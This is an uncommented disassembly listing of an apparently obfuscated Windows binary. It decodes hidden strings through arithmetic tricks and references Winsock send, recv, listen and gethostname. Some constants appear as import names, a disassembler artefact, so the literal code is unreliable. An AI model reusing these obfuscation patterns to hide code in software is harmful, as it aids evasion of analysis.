lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c397c
add r10b, 0x1c
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
dec rdi
inc rdi
jmp 0x1400c31e3
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c399f
lea ecx, [r10 - 0x44]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x24
jmp 0x1400c3c3f
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c39c8
add r10b, 0x24
movzx eax, r10b
and al, r11b
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c3c6c
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c367b
sub r10b, 0x74
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x1400c3cc2
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400c3a28
add r10b, 0x10
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x70
movzx eax, byte [rbp + rdi + 0x1d0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c31e3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c3a4d
lea edx, [r10 - 0x20]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x20
add bl, dl
jmp 0x1400c3c3f
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400c3a73
add r10b, 0x48
movzx eax, r11b
and al, r10b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400c3ada
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c363c
lea edx, [r10 + 0x18]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
jmp 0x1400c3ab2
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r11b
movzx ecx, r11b
sub cl, al
add cl, 0x10
lea ebx, [rcx + rcx]
add bl, dl
sub r10b, 0x2c
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add cl, bl
add cl, r11b
add cl, r10b
mov byte [rbp + rdi + 0x1d0], cl
add r8, r9
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400c31e3
lea edx, [r10 - 0x78]
movzx eax, r11b
and al, dl
mov ecx, 0x24
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1400c3c3f
add r10b, 0x6c
movzx eax, r11b
and al, r10b
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
movzx eax, byte [rbp + rdi + 0x1d0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c31e3
add r10b, 4
movzx eax, r11b
and al, r10b
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x1c
add bl, r10b
jmp 0x1400c3c6c
lea edx, [r10 - 0x64]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x44
add bl, dl
jmp 0x1400c3c3f
sub r10b, 4
movzx eax, r10b
and al, r11b
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x1400c31e3
sub r10b, 0x6c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0xc
inc r9
dec rdi
inc rdi
jmp 0x1400c31e3
lea ecx, [r10 + 0x2c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x34
add r10b, 0x6c
movzx eax, r11b
and al, r10b
mov ecx, 6
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
mov byte [rbp + rdi + 0x1d0], cl
inc r9
dec rdi
inc rdi
jmp 0x1400c31e3
lea edx, [rdi - 0x74]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
dec rdi
inc rdi
jmp 0x1400c31e3
lea rax, [rdi + r15]
and dl, al
add dl, dl
sub al, dl
lea ebx, [r11 + rax]
sub bl, 0x74
movzx r10d, dil
add r10b, 0x3c
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
movzx eax, cl
mov byte [rbp + rdi + 0x1d0], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi - 0x10]
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rdi + 0x1d0], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x1d0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c31e3
lea rax, [rdi + r14]
and dl, al
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, dl
lea ebx, [rcx + rcx]
add bl, al
add bl, r11b
movzx eax, byte [rbp + rdi + 0x1d0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c31e3
sub r10b, 0x7c
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400c31e0
add r10b, 0x1c
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400c31d0
lea rdx, [rbp + 0x148c2c0]
jmp 0x1400c3d3a
lea rdx, [rbp + 0xa3f974]
jmp 0x1400c3d3a
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp - 0x40]
call fcn.1400042d0
mov rdx, rax
mov rcx, qword [0x14022c128]
call fcn.1400de280
nop
lea rcx, [rbp + 0x980]
call fcn.140003810
nop
lea rcx, [rbp + 0x938]
call fcn.140002820
nop
lea rcx, [rbp + 0x958]
call fcn.140002820
mov rsi, qword [0x14022c178]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
mov byte [rbp + 0x510], 0xe3
mov byte [rbp + 0x511], 0xb9
mov byte [rbp + 0x512], 0xb9
mov byte [rbp + 0x513], 0xb4
mov byte [rbp + 0x514], 0xc1
mov byte [rbp + 0x515], 0xbb
mov byte [rbp + 0x516], 0x3d
mov byte [rbp + 0x517], 0xf7
mov byte [rbp + 0x518], Ordinal_60
mov byte [rbp + 0x519], 0x46
mov byte [rbp + 0x51a], 0x40
mov byte [rbp + 0x51b], Ordinal_79
mov byte [rbp + 0x51c], 0x43
mov byte [rbp + 0x51d], 0x45
mov byte [rbp + 0x51e], gethostname
mov byte [rbp + 0x51f], 0xff
mov byte [rbp + 0x520], gethostname
mov byte [rbp + 0x521], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x522], 0xfa
mov byte [rbp + 0x523], 4
mov byte [rbp + 0x524], 0xf8
mov byte [rbp + 0x525], 0x46
mov byte [rbp + 0x526], Ordinal_45
mov byte [rbp + 0x527], Ordinal_45
mov byte [rbp + 0x528], 0x57
mov byte [rbp + 0x529], 0x57
mov byte [rbp + 0x52a], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x52b], 0x5c
mov byte [rbp + 0x52c], reloc.WS2_32.dll_select
mov byte [rbp + 0x52d], reloc.WS2_32.dll_send
mov byte [rbp + 0x52e], Ordinal_30
mov byte [rbp + 0x52f], 0xf9
mov byte [rbp + 0x530], 0xcc
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x531], xmm0
movups xmmword [rbp + 0x541], xmm0
mov word [rbp + 0x551], ax
movabs r14, 0xd85f84db1bf149fa
movabs r15, 0x9b5babb3fb7b99ca
movabs r13, 0xea9ca1fdc39905d6
movabs r12, 0x891e8e9153d3ddee
movzx edx, byte [rsp + 0x31]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor ebx, ebx
cmp rbx, 0x43
jae 0x1400c4aab
movzx r11d, byte [rbp + rbx + 0x510]
mov edi, r11d
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400c4a9f
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c3f2c
lea rcx, [rbx + r14]
movzx eax, dil
and al, cl
mov edx, reloc.WS2_32.dll_setsockopt
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
jmp 0x1400c3f66
je 0x1400c4a2a
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c49a0
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c4971
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c4955
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400c490c
movzx r10d, bl
nop word [rax + rax]
cmp r9, rbx
ja 0x1400c4a93
lea rax, [r9 + 5]
cmp r8, rax
jae 0x1400c3fa0
lea edx, [r10 - 0x7e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c3ff0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c48f5
inc rax
cmp r8, rax
je 0x1400c48cc
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c488c
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c4869
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c4849
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c4818
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400c4523
nop dword [rax]
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400c4515
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400c44ec
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c44ca
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400c44ad
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400c448a
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400c446e
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c4451
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400c4431
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400c4404
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400c4000
lea r8, [r9 + 0x200]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400c4a73
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400c4a57
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400c41d4
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400c41b7
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400c419d
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400c4382
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400c4347
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400c431d
lea r8, [r9 + 3]
lea r9, [r8 + 0x10]
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400c42f0
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400c42d0
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400c42b6
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400c429a
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400c4277
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400c425b
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400c4239
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400c4210
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400c41f4
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400c4000
lea r8, [r9 + 0x41]
lea r9, [r8 + 5]
jmp 0x1400c4000
lea ecx, [r10 - 0x42]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x32
jmp 0x1400c3ff0
lea edx, [r10 - 0x36]
movzx eax, dl
and al, r11b
mov ecx, 0x3d
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c3f70
sub r10b, 0x2a
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c3f00
lea edx, [r10 + 0x10]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x70
add dl, cl
jmp 0x1400c4928
add r10b, 0x1c
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
inc r9
dec rbx
inc rbx
jmp 0x1400c3ee2
add r10b, 0x28
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x18
dec rbx
inc rbx
jmp 0x1400c3ee2
lea edx, [r10 + 0x34]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x6c
add dl, cl
jmp 0x1400c48a1
add r10b, 0x40
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
add r8, r9
jmp 0x1400c4988
add r10b, 0x4c
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x14
jmp 0x1400c4988
lea edx, [r10 + 0x58]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x68
jmp 0x1400c49b9
add r10b, 0x64
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_35
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400c49e7
add r10b, 0x70
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x10
movzx eax, byte [rbp + rbx + 0x510]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c3ee2
sub r10b, 0x72
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
mov byte [rbp + rbx + 0x510], dl
inc rbx
jmp 0x1400c3ee2
lea ecx, [r10 - 0x66]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x36
cmp r9, 0x42
jb 0x1400c4338
lea edx, [r10 - 0x64]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x1400c4928
lea edx, [r10 - 0x4e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
lea rax, [r9 + r8]
cmp rax, 0x5a
je 0x1400c4800
lea rcx, [r9 + 6]
cmp r8, rcx
jbe 0x1400c4626
lea edx, [r10 - 0x6e]
movzx eax, dl
and al, r11b
mov ecx, 1
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
cmp r8, 0x400
jae 0x1400c47e4
lea rcx, [r9 + 1]
cmp r8, rcx
jbe 0x1400c46eb
lea edx, [r10 + 0x14]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400c435c
add r10b, 0xc
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x54
movzx eax, byte [rbp + rbx + 0x510]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c3ee2
add r10b, 0x18
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c49e7
lea edx, [r10 + 0x24]
movzx eax, dl
and al, r11b
mov ecx, 2
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c49bb
add r10b, 0x30
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x50
jmp 0x1400c4988
add r10b, 0x3c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
add r8, r9
jmp 0x1400c4988
lea edx, [r10 + 0x48]
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c48a1
add r10b, 0x54
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x4c
dec rbx
inc rbx
jmp 0x1400c3ee2
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400c3ee2
lea edx, [r10 + 0x6c]
mov ecx, 6
jmp 0x1400c4919
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x1400c4547
lea edx, [r10 - 6]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x1400c4391
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c457d
add r10b, 4
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x1c
movzx eax, byte [rbp + rbx + 0x510]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c3ee2
inc rax
cmp r8, rax
jne 0x1400c45a1
sub r10b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x20
jmp 0x1400c4988
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c45cd
sub r10b, 0x2c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
add r8, r9
jmp 0x1400c4988
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c45ff
sub r10b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400c3ee2
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400c439a
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x7c
jmp 0x1400c4928
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c4641
lea edx, [r10 - 0x7a]
mov ecx, Ordinal_45
jmp 0x1400c4919
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c4667
lea edx, [r10 + 0x62]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c48a1
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c468f
add r10b, 0x56
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x5a
add r8, r9
jmp 0x1400c4988
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c46b5
lea edx, [r10 + 0x3e]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c49bb
cmp r8, rcx
jne 0x1400c43cd
add r10b, 0x26
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0xa
movzx eax, byte [rbp + rbx + 0x510]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c3ee2
jne 0x1400c471a
add r10b, 8
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x38
movzx eax, byte [rbp + rbx + 0x510]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c3ee2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c473e
lea edx, [r10 - 0x10]
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r11b
jmp 0x1400c49b9
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400c4763
sub r10b, 0x1c
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x3c
jmp 0x1400c4988
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c478f
sub r10b, 0x28
movzx eax, r11b
and al, r10b
mov ecx, recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
add r8, r9
jmp 0x1400c4988
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c47b5
lea edx, [r10 - 0x34]
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400c48a1
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c435c
sub r10b, 0x40
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x40
dec rbx
inc rbx
jmp 0x1400c3ee2
lea edx, [r10 - 0x70]
movzx eax, r11b
and al, dl
movzx ecx, r11b
sub cl, al
add cl, 8
add cl, cl
add dl, cl
jmp 0x1400c48a1
lea edx, [r10 - 0x7c]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
jmp 0x1400c49b9
add r10b, 0x16
movzx eax, r10b
and al, r11b
mov ecx, 0x33
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x510]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c3ee2
add r10b, 0x3a
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c4988
add r10b, 0x46
movzx eax, r10b
and al, r11b
mov ecx, listen
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
add r8, r9
jmp 0x1400c4988
lea ecx, [r10 + 0x52]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x3e
sub r10b, 0x76
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
add cl, r10b
mov byte [rbp + rbx + 0x510], cl
add r8, r9
jmp 0x1400c4988
add r10b, 0x6a
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400c3ee2
lea ecx, [r10 + 0x76]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x3a
jmp 0x1400c4928
movzx r10d, bl
lea edx, [r10 - 0x72]
mov ecx, reloc.WS2_32.dll_ntohs
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
sub r10b, 0x6a
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x1a
add r11b, r10b
mov byte [rbp + rbx + 0x510], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400c3ee2
lea ecx, [rbx - 0x42]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x32
add r8, r9
jmp 0x1400c4988
lea rcx, [rbx + r15]
and dil, cl
mov eax, 0x3d
sub al, dil
lea edx, [rax + rax]
add dl, r11b
add dl, cl
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400c3ee2
lea rcx, [rbx + r13]
and dil, cl
mov eax, reloc.WS2_32.dll_send
sub al, dil
lea edx, [rax + rax]
add dl, r11b
movzx r10d, bl
add dl, cl
add r10b, 0x7e
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x72
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x510], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0x78]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x48
add r11b, cl
mov byte [rbp + rbx + 0x510], r11b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x510]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c3ee2
lea rcx, [rbx + r12]
and dil, cl
mov eax, 0x3f
sub al, dil
lea edx, [rax + rax]
add dl, r11b
add dl, cl
movzx eax, byte [rbp + rbx + 0x510]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c3ee2
sub r10b, 0x1e
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x2e
jmp 0x1400c3ee0
sub r10b, 0x12
movzx eax, r11b
and al, r10b
mov ecx, 0x3f
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400c3ed0
lea rdx, [rbp + 0x15db908]
jmp 0x1400c4ab2
lea rdx, [rbp + 0x8f0302]
jmp 0x1400c4ab2
lea rdx, [rbp + 0x510]
mov rcx, rsi
call fcn.1400648b0
mov byte [rbp + 0x130], Ordinal_143
mov byte [rbp + 0x131], gethostname
mov byte [rbp + 0x132], gethostname
mov byte [rbp + 0x133], Ordinal_60
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x134], xmm0
mov qword [rbp + 0x144], rax
mov dword [rbp + 0x14c], eax
mov byte [rbp + 0x150], al
movabs rsi, 0x3a459cfa63ae2577
movabs r15, 0x97e74ad8b9c30641
movabs r14, 0xaed0d6ef2b0a7065
movzx edx, byte [rsp + 0x31]
nop dword [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor ebx, ebx
cmp rbx, 0x21
jae 0x1400c5599
movzx r11d, byte [rbp + rbx + 0x130]
mov edi, r11d
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400c558e
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c4b7f
lea rcx, [rbx + rsi]
movzx eax, dil
and al, cl
add al, al
movzx edx, r11b
sub dl, al
sub dl, 0x41
add dl, cl
jmp 0x1400c4bc6
je 0x1400c5521
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c549c
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c546d
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c542d
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c540e
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c53ec
movzx r10d, bl
nop word [rax + rax]
cmp r9, rbx
ja 0x1400c5583
lea rax, [r9 + 2]
cmp r8, rax
jae 0x1400c4bfc
lea edx, [r10 - 0x3d]
movzx eax, dl
and al, r11b
add al, al
sub dl, al
sub dl, 0x55
add dl, r11b
jmp 0x1400c4c40
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400c53aa
cmp r8, rax
je 0x1400c5388
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400c536e
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c5352
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c5338
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400c5055
nop dword [rax]
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400c5038
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400c5013
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400c4fed
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400c4fcd
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c4fb0
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400c4f94
lea rcx, [r9 + 3]
cmp r8, rcx
je 0x1400c4f63
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400c4c50
mov r8, rcx
lea r9, [rcx + 0x2a]
lea rax, [r9 + 0x7a]
cmp rcx, rax
jb 0x1400c5567
lea rax, [r9 + 0x2a]
cmp rcx, rax
jb 0x1400c554b
lea rax, [r9 + 0x400]
cmp rcx, rax
jb 0x1400c4dd0
lea rax, [r9 + 0x40]
cmp rcx, rax
jb 0x1400c4db7
lea rax, [r9 + 0x80]
cmp rcx, rax
jb 0x1400c4d9e
lea rax, [r9 + 0x10]
cmp rcx, rax
jb 0x1400c4ee5
lea rax, [r9 + 8]
cmp rcx, rax
jb 0x1400c4ea7
lea rax, [r9 + 4]
cmp rcx, rax
jb 0x1400c4c50
lea r8, [r9 + 1]
lea r9, [r8 + 8]
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400c4e76
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400c4e5a
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400c4e3d
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400c4e24
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400c4e0b
lea rax, [r9 + 0x42]
cmp r8, rax
